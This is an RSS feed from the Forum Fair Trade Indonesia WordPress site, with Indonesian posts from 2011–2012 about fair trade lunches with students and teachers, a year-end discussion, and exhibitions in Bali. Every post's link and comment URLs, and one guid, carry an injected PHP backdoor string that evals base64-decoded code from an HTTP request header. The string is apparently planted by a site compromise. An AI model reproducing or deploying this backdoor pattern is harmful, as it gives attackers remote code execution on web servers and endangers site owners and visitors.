<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Forum Fair Trade Indonesia</title>
	<atom:link href="http://ffti.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://ffti.info</link>
	<description>Fair Trade, Good for the People and Planet</description>
	<pubDate>Wed, 09 May 2012 09:26:35 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title></title>
		<link>http://ffti.info/2012/05/09/440/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2012/05/09/440/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 09 May 2012 09:26:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=440</guid>
		<description><![CDATA[Forum Fair Trade Indonesia akan merayakan peringatan
World Fair Trade Day - WFTD (Hari Fair Trade Sedunia) tanggal 12 Mei 2012.
Acara akan diadakan di Pasar Seni Banyumulek, Lombok, Nusa Tenggara Barat
Pukul : 09.00 - 17.00.
Perayaan WFTD kali ini akan diisi dengan lomba mewarnai logo fair trade dan gerabah tingkat TK ; Bazaar produk fair trade ; [...]]]></description>
			<content:encoded><![CDATA[<p>Forum Fair Trade Indonesia akan merayakan peringatan<br />
World Fair Trade Day - WFTD (Hari Fair Trade Sedunia) tanggal 12 Mei 2012.<br />
Acara akan diadakan di Pasar Seni Banyumulek, Lombok, Nusa Tenggara Barat<br />
Pukul : 09.00 - 17.00.</p>
<p>Perayaan WFTD kali ini akan diisi dengan lomba mewarnai logo fair trade dan gerabah tingkat TK ; Bazaar produk fair trade ; demontrasi pembuatan gerabah; dan diskusi dengan anggota FFTI dan para pengrajin.</p>
<p>Kami tunggu kehadiran dan partisipasinya.</p>
<p>Happy World Fair Trade Day!</p>
<p>www.wftday.com</p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2012/05/09/440/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fair Trade Lunch bersama mahasiswa Hubungan Internasional, FISIP UNUD</title>
		<link>http://ffti.info/2012/04/19/fair-trade-lunch-bersama-mahasiswa-hubungan-internasional-fisip-unud/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2012/04/19/fair-trade-lunch-bersama-mahasiswa-hubungan-internasional-fisip-unud/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 19 Apr 2012 04:59:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=431</guid>
		<description><![CDATA[
Selasa, 17 April 2012, kantor FFTI  penuh sesak oleh mahasiswa Hubungan Internasional, FISIP UNUD. Mereka “pindah tempat kuliah” sementara ke lantai 2 kantor FFTI, mengikuti Fair Trade Lunch, sebuah kegiatan rutin yang diadakan FFTI untuk memperkenalkan fair trade. 

Acara diawali dengan pengantar globalisasi yang disampaikan oleh Bapak Idin Fasisaka, dosen HI FISIP Unud. Pak [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://ffti.info/wp-content/uploads/2012/04/ft-2.jpg"><img src="http://ffti.info/wp-content/uploads/2012/04/ft-2.jpg" alt="ft-2" title="ft-2" width="500" height="375" class="aligncenter size-full wp-image-432" /></a><br />
Selasa, 17 April 2012, kantor FFTI  penuh sesak oleh mahasiswa Hubungan Internasional, FISIP UNUD. Mereka “pindah tempat kuliah” sementara ke lantai 2 kantor FFTI, mengikuti Fair Trade Lunch, sebuah kegiatan rutin yang diadakan FFTI untuk memperkenalkan fair trade. </p>
<p><a href="http://ffti.info/wp-content/uploads/2012/04/ft-1.jpg"><img src="http://ffti.info/wp-content/uploads/2012/04/ft-1.jpg" alt="ft-1" title="ft-1" width="500" height="375" class="aligncenter size-full wp-image-433" /></a><br />
Acara diawali dengan pengantar globalisasi yang disampaikan oleh Bapak Idin Fasisaka, dosen HI FISIP Unud. Pak Idin memaparkan bahwa perkembangan dunia makin lama makin mencair dimana antara negara satu dengan lainnya hampir tidak ada batasan, atau yang disebut dengan liquidity. Tiga konsep globalisasi yang ditekankan disini adalah transnationality, globality dan gaseousness.</p>
<p>Globalisasi terjadi hampir di semua aspek kehidupan, salah satunya adalah ekonomi, khususnya perdagangan. Isu yang hangat dibicarakan adalah bahwa praktek perdagangan free trade selama ini memunculkan ketimpangan antara Negara kaya dan Negara miskin. Dari keprihatinan ketimpangan ekonomi tersebut, muncul gerakan fair trade yang mengutamakan dialog, keterbukaan dan saling menghormati antara konsumen dan produsen, mengutamakan hak-hak produsen di Negara berkembang. </p>
<p><a href="http://ffti.info/wp-content/uploads/2012/04/ft-4.jpg"><img src="http://ffti.info/wp-content/uploads/2012/04/ft-4.jpg" alt="ft-4" title="ft-4" width="500" height="375" class="aligncenter size-full wp-image-434" /></a><br />
Presentasi kemudian dilanjutkan dengan membahas fair trade dari pengertian, prinsip, dan prakteknya di tingkat lokal sampai global, yang dipaparkan oleh Bapak Agung Alit, selaku Sekretaris Jenderal FFTI.<br />
Fair Trade harus dipahami dalam 2 aspek, yaitu sebagai gerakan dan sebagai sebuah model bisnis. Dalam realisasinya, memadukan keduanya (sosial dan bisnis) tidak mudah dan merupakan tantangan tersendiri bagi para fair trader. Tapi komitmen untuk menghapus ‘unfairness’ dalam perdagangan menjadi motivasi utama dan mampu menyatukan gerakan fair trader di seluruh dunia melalui organisasi payung World Fair Trade Organization (WFTO).</p>
<p>Penjelasan teroritis dari Pak Idin dan pemaparan praktis dari Pak Agung selaku praktisi fair trade ternyata mampu memancing rasa ingin tahu para mahasiswa HI. Banyak pertanyaan kritis muncul, seperti : “bagaimana membuat fair trade menjadi tren sehingga bisa berjuang melawan kapitalis” ; “bagaimana memaksimalkan produk lokal fair trade untuk menyaingi waralaba” ; “apa prinsip fair trade yang paling sulit diterapkan”; “kenapa barang-barang fair trade relative lebih mahal” ; “bagaimana upaya memasukkan fair trade dalam kebijakan” ; “apakah fair trade berdampak pada China Asean free trade area”; dan masih banyak lagi pertanyaan kritis mahasiswa.<br />
<a href="http://ffti.info/wp-content/uploads/2012/04/ft-5.jpg"><img src="http://ffti.info/wp-content/uploads/2012/04/ft-5.jpg" alt="ft-5" title="ft-5" width="500" height="375" class="aligncenter size-full wp-image-435" /></a></p>
<p>Satu pembelajaran yang dipesankan Pak Idin kepada mahasiswa HI setelah berdiskusi selama 2 jam adalah bahwa “para mahasiswa perlu menumbuhkan culture of fairness ;harus berani keluar dari zona nyaman dan mengkritisi unfairness yang terjadi”.</p>
<p>Kami di FFTI, merasa senang sekali karena mahasiswa sangat antusias mengikuti acara ini. Pertanyaan-pertanyaan yang muncul menjadi refleksi dan masukan bagi kami untuk lebih mensosialisasikan fair trade di kalangan yang lebih luas. Harapannya, kerja sama FFTI dengan akademisi bisa terus berlanjut, sehingga fair trade bisa lebih dikenal di kalangan mahasiswa, dosen, dan stakeholder universitas lainnya, karena sejatinya Fair Trade bisa diterapkan di segala bidang, tidak terkecuali bidang pendidikan.<br />
<a href="http://ffti.info/wp-content/uploads/2012/04/photo2.jpg"><img src="http://ffti.info/wp-content/uploads/2012/04/photo2.jpg" alt="photo2" title="photo2" width="320" height="240" class="aligncenter size-full wp-image-438" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2012/04/19/fair-trade-lunch-bersama-mahasiswa-hubungan-internasional-fisip-unud/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title></title>
		<link>http://ffti.info/2012/02/14/430/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2012/02/14/430/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 14 Feb 2012 04:32:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/2012/02/14/430/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
FFTI kembali mengadakan kegiatan rutin ‘A Fair Trade Lunch’ di Sekretariat FFTI, Jumat 10 Februari 2012. Kali ini FFTI bekerja sama dengan WALHI Bali mengambil format ‘ngobrol santai’ dengan menghadirkan dua narasumber yaitu : Hendro Sangkoyo (School of Democratic Economy) dan Larry Lohmann (The Corner House, UK), mengambil tema “Air dan Alam Sekitar Kita”.
Obrolan santai [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://ffti.info/wp-content/uploads/2012/02/ft-lunch-11.jpg"><img src="http://ffti.info/wp-content/uploads/2012/02/ft-lunch-11.jpg" alt="ft-lunch-11" title="ft-lunch-11" width="500" height="375" class="aligncenter size-full wp-image-429" /></a></p>
<p>FFTI kembali mengadakan kegiatan rutin ‘A Fair Trade Lunch’ di Sekretariat FFTI, Jumat 10 Februari 2012. Kali ini FFTI bekerja sama dengan WALHI Bali mengambil format ‘ngobrol santai’ dengan menghadirkan dua narasumber yaitu : Hendro Sangkoyo (School of Democratic Economy) dan Larry Lohmann (The Corner House, UK), mengambil tema “Air dan Alam Sekitar Kita”.</p>
<p>Obrolan santai ini dihadiri oleh kurang lebih 40 orang dari kalangan mahasiswa, aktivitis, jurnalis, dan pemerhati lingkungan. Topik yang diangkat adalah mengenai krisis air yang berkaitan dengan krisis sosial dan ekologi. </p>
<p>Tema obrolan yang mengangkat masalah lingkungan ini relevan dengan salah satu prinsip fair trade, yaitu “Menghormati keseimbangan ekologi” yang diwujudkan dalam produk-produk fair trade yang ramah lingkungan dan dibuat dalam proses produksi yang fair. Produk-produk tersebut bisa langsung dilihat di fair trade outlet. </p>
<p>Untuk ke depannya diharapkan Fair Trade outlet bisa menjadi berkembang dengan baik dan bisa digunakan untuk menyebarluaskan ide fair trade dan menjual lebih banyak produk organic dan fair trade terutama yang berasal dari LSM ataupun dampingan LSM dari seluruh Indonesia. </p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2012/02/14/430/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fair Trade Lunch with Teachers of Denpasar</title>
		<link>http://ffti.info/2012/01/26/fair-trade-lunch-with-teachers-of-denpasar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2012/01/26/fair-trade-lunch-with-teachers-of-denpasar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 06:56:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=422</guid>
		<description><![CDATA[
Forum Fair Trade Indonesia kembali mengadakan kegiatan rutin Fair Trade Lunch. Kali ini yang diundang untuk “berkenalan dengan gerakan Fair Trade” adalah guru-guru di Denpasar. Mereka berasal dari sekolah SD,SMP,SMA/SMK di kota Denpasar.
Sabtu pagi, 21 Januari 2012, hujan lebat mengguyur kota Denpasar. Kami agak khawatir undangan tidak ada yang datang. Tapi satu per satu kemudian [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://ffti.info/wp-content/uploads/2012/01/ft-lunch-guru-8.jpg"><img src="http://ffti.info/wp-content/uploads/2012/01/ft-lunch-guru-8.jpg" alt="ft-lunch-guru-8" title="ft-lunch-guru-8" width="500" height="375" class="aligncenter size-full wp-image-423" /></a><br />
Forum Fair Trade Indonesia kembali mengadakan kegiatan rutin Fair Trade Lunch. Kali ini yang diundang untuk “berkenalan dengan gerakan Fair Trade” adalah guru-guru di Denpasar. Mereka berasal dari sekolah SD,SMP,SMA/SMK di kota Denpasar.</p>
<p>Sabtu pagi, 21 Januari 2012, hujan lebat mengguyur kota Denpasar. Kami agak khawatir undangan tidak ada yang datang. Tapi satu per satu kemudian undangan mulai berdatangan. Walaupun hujan, semangat mereka sangat terasa untuk menghadiri acara ini. Walaupun terlambat, acara akhirnya dimulai pukul 10.00 Wita. </p>
<p>Diawali dengan perkenalan peserta yang dipandu oleh Ibu Catur Hariani, Direktur PPLH Bali yang juga aktif di perkumpulan guru-guru pencinta lingkungan. Lalu peserta dibagi menjadi 4 kelompok, dan melakukan diskusi awal membahas “apa yang diketahui tentang fair trade” dan apa yang terjadi dengan perdagangan di sekitar kita. Hasil diskusi kemudian dipresentasikan oleh masing-masing kelompok.<br />
<a href="http://ffti.info/wp-content/uploads/2012/01/ft-lunch-guru-1.jpg"><img src="http://ffti.info/wp-content/uploads/2012/01/ft-lunch-guru-1.jpg" alt="ft-lunch-guru-1" title="ft-lunch-guru-1" width="500" height="375" class="aligncenter size-full wp-image-424" /></a></p>
<p>Dari hasil diskusi, ternyata Bapak/Ibu Guru mengamati bahwa banyak pedagang yang menjual produk tanpa mementingkan kesehatan, seperti penjual jajanan di kantin sekolah; penjual gorengan yang hanya mementingkan kesehatan tanpa memperhatikan kesehatan konsumen. Lalu ada juga yang memperhatikan banyak anak usia sekolah yang berjualan sepulang sekolah untuk membantu orang tua. Mereka mempertanyakan apakah ini termasuk dalam eksploitasi tenaga kerja anak atau bukan.<br />
<a href="http://ffti.info/wp-content/uploads/2012/01/ft-lunch-guru-4.jpg"><img src="http://ffti.info/wp-content/uploads/2012/01/ft-lunch-guru-4.jpg" alt="ft-lunch-guru-4" title="ft-lunch-guru-4" width="500" height="667" class="aligncenter size-full wp-image-425" /></a></p>
<p>Pengamatan lainnya, para guru menyadari bahwa proses dagang itu sebaiknya memperhatikan lingkungan, agar produk itu bersih, tempat yang nyaman, karena itu semua berpengaruh pada kesehatan. Selain itu dalam perdagangan diperlukan adanya pemberdayaan, harga yang terjangkau, daya tarik produk, kualitas, dan pelayanan yang baik.</p>
<p>Sebenarnya apa yang diamati para peserta di lingkungan sehari-hari sudah ada yang berhubungan dengan prinsip-prinsip fair trade, seperti memperhatikan produk yang ramah lingkungan, tenaga kerja anak, dan produk yang diproduksi secara sehat. </p>
<p>Semua pertanyaan itu terjawab dengan penjelasan yang disampaikan oleh Bapak Agung Alit, Sekretaris Jenderal FFTI, melalu presentasi makalah yang berjudul “Berkenalan dengan Gerakan Fair Trade”. Dalam presentasi nya, Bapak Agung menjelaskan tentang Fair Trade sebagai sebuah gerakan dan praktek bisnis. Selain itu dijelaskan juga 10 prinsip fair trade yang harus diterapkan dalam memproduksi produk fair trade. Pembayaran yang layak merupakan salah satu poin penting dalam fair trade, karena pembayaran yang layak merupakan bukti dari solidaritas. </p>
<p>Beberapa poin penting terkait dengan gerakan fair trade yaitu pembayaran yang layak pada tukang; ada peningkatan kapasitas  yang dibangun dengan perajin,misalnya pelatihan pembukuan, desain, bahan baku ramah lingkungan.</p>
<p>Dalam sesi diskusi / tanya jawab muncul tanggapan dan pertanyaan menarik dari peserta, antara lain mengenai contoh kurikulum fair trade yang bisa diajarkan di sekolah. Untuk hal tersebut, ke-10 prinsip fair trade bisa dimasukkan dalam ajaran budi pekerti, karena menyangkut nilai-nilai moral yang mengajarkan tentang perlunya bekerja dengan memperhatikan lingkungan dan berbagi dengan sesama (misalnya tujuan fair trade adalah mengentaskan kemiskinan). Nilai fair trade ini juga bisa mengajarkan anak-anak untuk menjadi kreatif inovatif; dan mengajarkan pada anak-anak untuk teliti dalam membeli atau mengkonsumsi sebuah produk. </p>
<p>Lalu muncul pertanyaan lagi, apa hubungan fair trade dengan program dari pemerintah yaitu 100% cinta produk Indonesia. Dijelaskan bahwa produk fair trade memang belum sepenuhnya bisa 100% menggunakan bahan baku dari Indonesia, karena faktor ketersediaan dan juga kualitas. Namun tentu saja ke depannya, diharapkan produk fair trade bisa lebih banyak dikonsumsi oleh masyarakat lokal, mengingat saat ini sebagian besar produk fair trade masih diekspor. Harapan bersama adalah produk fair trade dikerjakan dengan bahan baku lokal, diproduksi oleh orang lokal secara fair trade, dan dikonsumsi oleh orang lokal. </p>
<p>Seperti Fair Trade Lunch sebelumnya, Fair Trade Lunch bersama guru kali ini sangat berkesan. Seperti yang dikatakan Agung Alit : “Guru memegang peran sentral dalam penerapan fair trade.” Semoga acara berkenalan dengan fair trade bersama para guru ini membawa manfaat untuk guru sendiri dan bisa ditindaklanjuti di masing-masing sekolah.</p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2012/01/26/fair-trade-lunch-with-teachers-of-denpasar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Catatan Obrolan Akhir Tahun 2011</title>
		<link>http://ffti.info/2011/12/29/catatan-obrolan-akhir-tahun-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2011/12/29/catatan-obrolan-akhir-tahun-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 02:53:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=405</guid>
		<description><![CDATA[
Obrolan Akhir Tahun bersama Forum Fair Trade Indonesia
Rabu, 28 Desember 2011.
Walaupun Denpasar diguyur hujan lebat, namun suasana pagi itu terasa hangat. Sekitar 40 orang dari penggiat LSM (isu lingkungan, perempuan, pemberdayaan masyarakat), Pengusaha,  Media, Musisi, dan beberapa komunitas muda berkumpul di sebuah tempat di kawasan Renon, ngobrol ditemani kopi dan pisang goreng hangat. 
Acara [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: justify;"><img class="aligncenter size-full wp-image-406" title="obt-2011" src="http://ffti.info/wp-content/uploads/2011/12/obt-2011.jpg" alt="obt-2011" width="480" height="320" /></p>
<p class="MsoNormal" style="text-align: justify;"><strong><span style="font-family: Arial;" lang="IN">Obrolan Akhir Tahun bersama Forum Fair Trade Indonesia<em></em></span></strong></p>
<p class="MsoNormal" style="text-align: justify;"><strong><span style="font-family: Arial;" lang="IN">Rabu, 28 Desember 2011.</span></strong></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Walaupun Denpasar diguyur hujan lebat, namun suasana pagi itu terasa hangat. Sekitar 40 orang dari penggiat LSM (isu lingkungan, perempuan, pemberdayaan masyarakat), Pengusaha, <span> </span>Media, Musisi, dan beberapa komunitas muda berkumpul di sebuah tempat di kawasan Renon, ngobrol ditemani kopi dan pisang goreng hangat. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Acara <em>Obrolan Akhir Tahun </em><span> </span>kali ini digagas oleh Forum Fair Trade Indonesia<span> </span>(FFTI), sebuah organisasi payung untuk para penggiat perdagangan berkeadilan di Indonesia yang beranggotakan pengusaha, pengrajin, maupun LSM yang peduli terhadap bisnis yang peduli dengan <em>people &amp; planet. </em>Ini adalah sebuah kegiatan yang rutin diadakan FFTI sejak 2010, dengan tujuan untuk <em>sharing</em> informasi kegiatan yang telah dilakukan selama setahun masing-masing lembaga dan juga <em>sharing </em><span> </span>ide-ide sekiranya ada kegiatan bersama yang bisa dilakukan di tahun berikutnya.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Dua jam pertama Obrolan, diisi dengan <em>sharing </em>kisruhnya perselisihan antara salah satu media massa dengan pemimpin Bali. Berbagai opini disampaikan mengenai isu ‘panas’ tersebut. Lalu dilanjutkan dengan keresahan kaum muda akan lembaga pendidikan di Bali yang menurutnya akhirnya mencetak ‘buruh’, bukan pemimpin yang bertekad penuh untuk ‘merebut kembali’ Bali dari investor. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Hal klasik yang dilontarkan berikutnya adalah masalah agama, budaya, adat di Bali. Bagaimana runutan upacara di Bali yang sudah menjadi tradisi turun temurun ternyata mulai dilakoni dengan rasa kekhawatiran hanya sebagai ritualitas semata, dan berdampak pada sisi ekonomi. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Pengamatan lain yang muncul dari teman-teman LSM yaitu kekhawatiran mengenai kaderisasi. Kenapa isu yang muncul saat pertemuan hampir sama dan yang muncul dalam kegiatan-kegiatan LSM di Bali ‘orangnya itu-itu saja atau sering diistilahkan <em>Loe Lagi Loe Lagi</em>’. Ini menimbulkan pertanyaan, apakah begitu sulitnya mencari orang yang mau menjadi pekerja sosial dan memberikan komitmennya untuk kerja-kerja sosial. Atau mungkin banyak anak muda yang tertarik menjadi vounteer, namun mereka kurang mendapatkan informasi tentang bagaimana cara bergabung. Satu hal lagi, rendahnya kaderisasi di kalangan LSM diprediksi karena kurangnya cara mengemas isu-isu sosial/lingkungan itu ke dalam bahasa-bahasa sederhana yang lebih mudah dipahami,terutama untuk kalangan muda.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Muncul tanggapan bahwa sebenarnya ‘pengemasan isu’ tersebut sudah mulai terbantu dengan bermunculannya musisi-musisi muda yang peduli. Bisa dilihat sepanjang 2011 banyak musisi yang dalam aksi panggungnya mengkampanyekan isu-isu sosial. Cara ini dinilai bagus untuk menarik dukungan karena musik sebagai bahasa universal. Untuk itu di tahun mendatang, diharapkan upaya ini tetap dilakukan. Kerja sama aktivis dan musisi diperlukan untuk menyampaikan pesan-pesan kepada masyarakat dalam bahasa sederhana dan mudah dipahami. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Persoalan lain yang dimunculkan adalah mengenai kemacetan, sampah, pungutan liar, menjamurnya minimarket yang mematikan pasar tradisional, dan kebutuhan akan transportasi publik. Untuk itu tahun 2012 menjadi tahun harapan bersama, agar semakin banyak orang yang mau peduli dengan isu-isu sosial, lingkungan, yang berdampak pada sesama dan lingkungan. Pengemasan penyampaian isu dan metode kaderisasi menjadi isu penting yang patut diagendakan, baik secara intern lembaga maupun secara bersama-sama. Selain itu, isu independensi media masih harus dipantau bersama agar tidak menjadi intervensi pihak-pihak tertentu. Dan usulan untuk memaksimalkan pemberdayaan masyarakat desa, agar tidak melulu menjadi ‘target project’, melainkan saatnya mereka yang menentukan nasib mereka. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;" lang="IN">Obrolan diakhiri dengan makan siang dan foto bersama seluruh peserta diskusi. Semoga obrolan ini membawa dampak positif, inspiratif, dan membawa semangat baru untuk menyongsong tahun anyar 2012.</span></p>
<p class="MsoNormal" style="text-align: justify;"><strong><span style="font-family: Arial;" lang="IN">HAPPY NEW YEAR!</span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2011/12/29/catatan-obrolan-akhir-tahun-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title></title>
		<link>http://ffti.info/2011/12/22/403/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2011/12/22/403/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 02:47:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=403</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-402" title="merry-christmas-happy-new-year-2012" src="http://ffti.info/wp-content/uploads/2011/12/merry-christmas-happy-new-year-2012-300x150.jpg" alt="merry-christmas-happy-new-year-2012" width="300" height="150" /></p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2011/12/22/403/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Partisipasi FFTI di Pekan Flora Flori Nasional 2011</title>
		<link>http://ffti.info/2011/11/02/partisipasi-ffti-di-pekan-flora-flori-nasional-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2011/11/02/partisipasi-ffti-di-pekan-flora-flori-nasional-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 03 Nov 2011 01:54:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=397</guid>
		<description><![CDATA[FFTI akan mengikuti Pameran “Pekan Flora Flori Nasional 2011” yang akan diadakan bersamaan dengan “Sanur Village Festival” yang ke-VI. Kedua event besar ini akan diselenggarakan pada 19 - 22 November 2011, bertempat di Pantai Matahari Terbit, Sanur.
Stand FFTI akan memamerkan produk fair trade dari anggota-anggota FFTI, meliputi makanan organic (beras, kacang-kacangan, gula, kopi, madu, sayur, [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">FFTI akan mengikuti Pameran <strong>“Pekan Flora Flori Nasional 2011”</strong> yang akan diadakan bersamaan dengan <strong>“Sanur Village Festival”</strong> yang ke-VI. Kedua event besar ini akan diselenggarakan pada <strong>19<span> </span>- 22 November 2011</strong>, bertempat di <strong>Pantai Matahari Terbit, Sanur.</strong></p>
<p class="MsoNormal">Stand FFTI akan memamerkan produk fair trade dari anggota-anggota FFTI, meliputi makanan organic (beras, kacang-kacangan, gula, kopi, madu, sayur, dll) yang akan dipadukan dengan interior kerajinan Fair Trade dari seluruh Indonesia.</p>
<p class="MsoNormal">Silahkan kunjungi stand Forum Fair Trade Indonesia di Tenda K-10, mulai pukul 09.00 – 20.00 Wita.</p>
<p class="MsoNormal">Info tentang Pekan Flora-Flori Nasional dan Sanur Village Festival bisa dilihat di <a href="http://www.balihorticulturefestival.com/sambutan.html">http://www.balihorticulturefestival.com/sambutan.html</a></p>
<p class="MsoNormal"><a href="http://www.gotosanur.com/Sanfest-Nov2011.shtml">http://www.gotosanur.com/Sanfest-Nov2011.shtml</a></p>
<p class="MsoNormal">Kami tunggu kehadirannya..</p>
<p class="MsoNormal">Terima kasih.</p>
]]></content:encoded>
			<wfw:commentRss>http://ffti.info/2011/11/02/partisipasi-ffti-di-pekan-flora-flori-nasional-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>FFTI Update, Agustus 2011</title>
		<link>http://ffti.info/2011/08/22/ffti-update-agustus-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://ffti.info/2011/08/22/ffti-update-agustus-2011/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 23 Aug 2011 03:25:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ffti.info/?p=389</guid>
		<description><![CDATA[
Pada 9 Agustus 2011, FFTI mendapat kunjungan dari LAPMAS, sebuah NGO di Flores yang mendampingi kelompok petani organic. LAPMAS adalah salah satu mitra VECO di Flores (VECO adalah salah satu NGO internasional yang memiliki focus program pada pertanian berkelanjutan). Tim FFTI, CA Bali, dan LAPMAS berbagi informasi dan berdiskusi mengenai manajemen outlet, dimana LAPMAS sendiri [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-391" title="presentasi-ffti" src="http://ffti.info/wp-content/uploads/2011/08/presentasi-ffti-300x225.jpg" alt="presentasi-ffti" width="300" height="225" /></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;">Pada 9 Agustus 2011, FFTI mendapat kunjungan dari LAPMAS, sebuah NGO di Flores yang mendampingi kelompok petani organic. LAPMAS adalah salah satu mitra VECO di Flores (VECO adalah salah satu NGO internasional yang memiliki focus program pada pertanian berkelanjutan). Tim FFTI, CA Bali, dan LAPMAS berbagi informasi dan berdiskusi mengenai manajemen outlet, dimana LAPMAS sendiri memiliki rencana untuk membuka sebuah outlet yang memasarkan produk organic. </span></p>
<p class="MsoNormal" style="text-align: justify;"><img class="aligncenter size-medium wp-image-392" title="tim-lapmas-flores1" src="http://ffti.info/wp-content/uploads/2011/08/tim-lapmas-flores1-300x225.jpg" alt="tim-lapmas-flores1" width="300" height="225" /></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: Arial;">Kami, Tim FFTI merasa bangga karena dipilih sebagai tempat untuk studi banding. Semoga ini adalah awal yang baik untuk membangun jaringan dengan mitra LSM di Flores, khususnya yang mendampingi petani produk organik.</span></p>
